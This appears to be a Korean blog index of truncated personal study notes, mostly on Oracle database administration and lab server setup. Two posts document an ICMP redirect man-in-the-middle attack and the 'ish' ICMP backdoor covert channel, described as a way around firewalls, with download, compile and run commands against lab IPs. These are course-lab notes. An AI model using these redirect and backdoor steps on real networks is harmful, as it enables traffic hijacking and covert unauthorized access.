2025/10 13

icmp redirect

예) 공격자가 대상 컴퓨터에 naver로 통신하는건 라우터말고 나를 거쳐서 통신해! 라는거 icmp_redir 사용 icmp_redir [게이트웨이] [공격 대상] [외부] [공격자주소] kaliwget 192.168.10.11/data/down/security/icmp_redir.cgcc -o icmp_redir icmp_redir.c./icmp_redir 192.168.11.1 192.168.11.7 203.248.252.2 192.168.11.36 window xpping 203.248.252.2route print203.248.252.2가 떠야한다. 와이어샤크로 패킷분석 00 0c 29 63 9f d0 00 0c 29 c6 9f c0 08 00 45 0000 38 0c 1b 00 00 40..

카테고리 없음 2025.10.27

터널링, 은닉채널

터널링ssh는 암호화가 되어있어서 무슨내용인지 볼수없다.그래서 세션을 통해서만 인터넷 연결이 가능하다.naver패킷을 캡쳐중인데도 터널링을 해서 패킷이 올라오지 않는다.만약 세션을 닫으면 인터넷이 연결되지 않는다. 은닉채널 ishish(백도어)를 이용한 은닉통신 ish는 ishd(데몬)과 ish(클라이언트)프로그램을 이용한 은닉 채널 통신 프로그램이다. • ish는 icmp 메시지만을 이용한다. • 세션이 없음으로 방화벽을 우회할수 있다wget 192.168.10.11/data/down/security/ish-v0.2.tartar xvfz ish-v0.2.tar.gz다운 받아서 압축을 푼다.서버쪽(centos)./ishd클라이언트(kali)./ish 192.168.11.17접속이 되면 클라이언트에서..

카테고리 없음 2025.10.27

실습 서버 만들기

1.서버 만들기 nat영역에 dmz네트워크 만들기(12.###). 리눅스 3대 만들기 1 : web(12.11), 2 : dns(12.13), 3 : ids(12.19) window(0.146), 오라클 서버(0.11) router linux 192.168.11.254 네트워크 어뎁터 2개 추가. ip : 192.168.12.1 ip : 192.168.0.1 web 192.168.12.11 오라클 Client 설치 dnf install -y wget wget https://download.oracle.com/otn_software/linux/instantclient/1925000/oracle-instantclient19.25-basic-19.25.0.0.0-1.x86_64.rpmwget https:/..

카테고리 없음 2025.10.23

오라클 프로파일

프로파일패스워드, 리소스에 대해 담고 있다.ㄴ 한군대에서 관리한다. 횟수 : 비번을 몇번 바꾸기 전까지는 했던 비번 못씀기간 : 이전 패스워드 쓰려면 일정 기간이 지나야함.만료 : 일정시간 쓰면 비번이 만료되게 해서 비번 바꾸게 하는거.연장은 x, 유예기간을 줄수는 있다.(시간 줬는데도 안바꾸면 계정이 락걸림.) 암호 계정 잠금.FAILED_LOGIN_ATTEMPTS PASSWORD_LOCK_TIME 암호 만기일 기능 및 암호 만기PASSWORD_LIFE_TIME PASSWORD_GRACE_TIMEㄴ 유예기간. 암호 기록PASSWORD_REUSE_TIME PASSWORD_REUSE_MAX 암호 확인PASSWORD_VERIFY_FUNCTION CREATE PROFILE grace_5 LIMITFA..

카테고리 없음 2025.10.22

오라클 테이블 스페이스

Tablespace 헤더블락 → 데이터파일관련한 블럭이라 사용못함.나머지 블락블럭을 줄때 붙어있는블락을 한꺼번에 주는 단위 → extent단위(연속된 블럭으로 구성되어있다.)ㄴ 딕셔너리 bit map 에서 관리하는 방법insert 는 h/m왼쪽에서만 저장이 된다. 풀 테이블 스켄 → h/m 까지 읽음.인덱스 스켄 블럭 사이즈 → IO기본 단위 업뎃이 데이터가 큰방향으로 하면 나눠서 저장할수도 있다.pctfree → 블럭의 빈공간 만들어주기 Tablespace와 Data file 상태 조회 사용 명령어SQL> SELECT tablespace_name, status, contents,2 extent_management, segment_space_management 3 FROM dba_tables..

카테고리 없음 2025.10.22

오라클 데이터파일

데이터파일을 조작할 떄 테이블스페이스로 조작한다.ㄴ 특정 테이블페이스에 저장되어있다. 데이타 딕셔너리가 오라클 관리에 핵심적이다. 딕셔너리 테이블 → 데이터파일에 저장된 놈들. 데이터파일은 테이블스페이스단위로 묶어서 사용함.ㄴ 일반 사용자는 테이블스페이스를 사용함. 테이블스페이스만들때 데이터파일이 생성됨. 데이터파일을 삭제되는 명령어가 없음.ㄴ 테이블스페이스 지우면 그 안에있는 데이터파일이 삭제된다. 테이블스페이스는 하나이상의 데이터파일로 구성되어있.반드시 어떤 특정 스페이스에 속해있어야 한다. 테이블스페이스 종류 ------------------------------------SYSTEM → 우리가 만들거나 삭제가 불가능. db가 생성되면 만들어짐. db가 지워지면 지워짐.ㄴ 데이터 딕셔너리..

카테고리 없음 2025.10.22

오라클 리두로그 파일

리두로그 파일ㄴ 어느 한 부분의 장애로 인한 데이터베이스 정보의 손실을 막을 수 있는거 풀백업 : 이전시점으로 돌아가지 않아도 될때 사용. 백업 할때 : 특정시점에서 데이터가 완전 무결하기때문에 전으로 돌아갈필요가 없어요 할때 니드로그는 사용을 그룹단위로 한다.최소한의 그룹은 3개 ,맴버는 그룹당 2개씩ㄴ 한 그룹에서만 사용이 가능하다.그룹안에 멤버는 미러셋이다. → 날라가면 큰일나기 때문에. 같은그룹 있는 멤버는 다른 디스크에 있어야 한다.그룹간에 멤버의 개수는 차이가 있으면 안된다. 니드로그는 같은 파일에 들어가면 안된다.ㄴ 데이터파일을 복구하는데 사용하기 때문. 리두로그 파일은 순환하는 방식. 로그스위치 = 현재 사용 중인 리두 로그 파일 그룹이 가득 차서 LGWR 프로세스가 다음 리두..

카테고리 없음 2025.10.16

오라클 컨트롤 파일

컨트롤 파일. 컨트롤 파일은 매우 중요한 파일 → 데이터베이스 생성할때 만들어짐.(리커버리의 재료) 이게 날라가면 재대로 복구 못할수 있다.(db날라간다고 생각하셈.)ㄴ 그래서 똑같은걸 여러개 동시에 운영한다.(미러 셋 : 안전성을 높이는 것)ㄴ 미러셋을 디스크 하나에 두는게 아니라 반드시 여러 디스크에 분산해서 놓는거다.ㄴ 오라클 운영할떄 최소 물리적인 디스크가 최소 5개 이상 있어야 한다. 테이블 스페이스- 모든 테이블은 데이터파일에 저장되어있다. 사용자는 데이터파일 사용 불가능. 사용자는 테이블 스페이스를 사용. 오라클은 테이블의 크기에 제한이 없다.오라클은 죽은다음 파일을 옮기고,수정할수있다.컨트롤 파일은 죽은다음 해야함 무조건. SPFILE 사용시 제어 파일 다중화 1. SPFI..

카테고리 없음 2025.10.16

오라클 파라미터

오라클은 그룹이라는 개념이 없다. 권한을 공유한다는것은 보안상 문제가 있다고 판단. 그래서 ROLE(역할)이라는 개념이 있다.ㄴ 권한의 묶음이다. connect, resource → role CREATE USER st01IDENTIFIED BY st01; GRANT connect, resource TO st01; lsnrctl [ stop | start | status ] lsnrㄴ 리스너 프로세스를 관리하는 명령어 listener.ora 서버가 리스너를 띄우기위한 파일 데이터베이스를 startup해준다.lsnrctl stoplsnrctl startlsnrctl status 오라클은 어떻게 구성되어있어요???ㄴ 인스턴스랑 데이터베이스로 구성되어있어요.ㄴ 인스턴스는 sga랑 백그라운드프로세스. p..

카테고리 없음 2025.10.16

오라클 startup, shutdown

파라미터파일은 읽을 친구가 없어서 위치랑 이름이 정해져 있다.파라미터 파일에는 컨트롤파일에 대한것들이 있다. NOMOUNT = 메모리에 인스턴스만 떠있는 상태 → 파라미터 파일을 읽어야 인스턴스가 뜬다. 파라미터 파일이 정상이 아니면 노마운트단계로 못감.( 파라미터 수정, 데이터베이스를 새로 만드는 작업을 할수있다. ) MOUNT = 컨트롤파일만 읽는거. (컨트롤 파일 = 데이터,니드로그 파일,위치등 모든것들이 들어있음.) 물리적인 작업을 할수있음.(위치옮기기, 수정 ,백업등.) 관리작업 하기 좋은 단계.ㄴ 데이터베이스를 관리작업 할수있는 모드 OPEN = 데이터파일 니드로그파일이 열림. shutdown 옵션종료 모드• A = ABORT → 인스턴스를 메모리에서 없애버림. 장애를 발생시키면서 강제로 죽..

카테고리 없음 2025.10.15